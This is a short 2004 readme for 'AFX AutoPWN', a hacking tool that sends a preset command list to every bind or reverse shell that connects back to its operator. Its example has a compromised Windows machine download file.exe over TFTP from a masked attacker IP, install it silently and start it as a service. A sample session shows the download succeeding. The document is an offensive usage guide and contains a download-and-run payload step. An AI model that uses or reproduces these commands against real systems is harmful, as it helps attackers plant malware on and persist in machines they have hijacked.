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tested on Windows XP
December 06, 2004

AFX AutoPWN 0.1
http://www.iamaphex.cjb.net
[email protected]
Bind Shell Usage: autopwn -h:host -p:port -i:file
Reverse Shell Usage: autopwn -p:port -i:file

This tool can automate commands sent to a shell. 
Instead of typing repetitive commands everytime you are presented with a remote shell prompt, let this tool do the work for you.
It can interface with bind and reverse shells.

For example, you want to execute 3 commands everytime a new shell connects to you. In a file cmds.txt you place your 3 commands:

  tftp -i XX.XXX.XXX.XXX get file.exe
  file.exe /install /silent
  net start FileExeService

Then at the command prompt you type:

  C:\>autopwn -p:888 -i:cmds.txt

You will see the following:

  [AUTOPWN] Loading commands...
  [AUTOPWN] Commands loaded.
  [AUTOPWN] Listening for shell connections...

  [AUTOPWN] Incomming shell connection...
  Microsoft Windows 2000 [Version 5.00.2195]
  (C) Copyright 1985-2000 Microsoft Corp.

  C:\WINNT\system32>tftp -i XX.XXX.XXX.XXX get file.exe
  Transfer successful: 191488 bytes in 30 seconds, 6382 bytes/s

  C:\WINNT\system32>file.exe /install /silent

  C:\WINNT\system32>net start FileExeService
  The FileExeService service is starting.
  The FileExeService service was started successfully.

  C:\WINNT\system32>
  [AUTOPWN] Shell connection terminated.
  
Aphex

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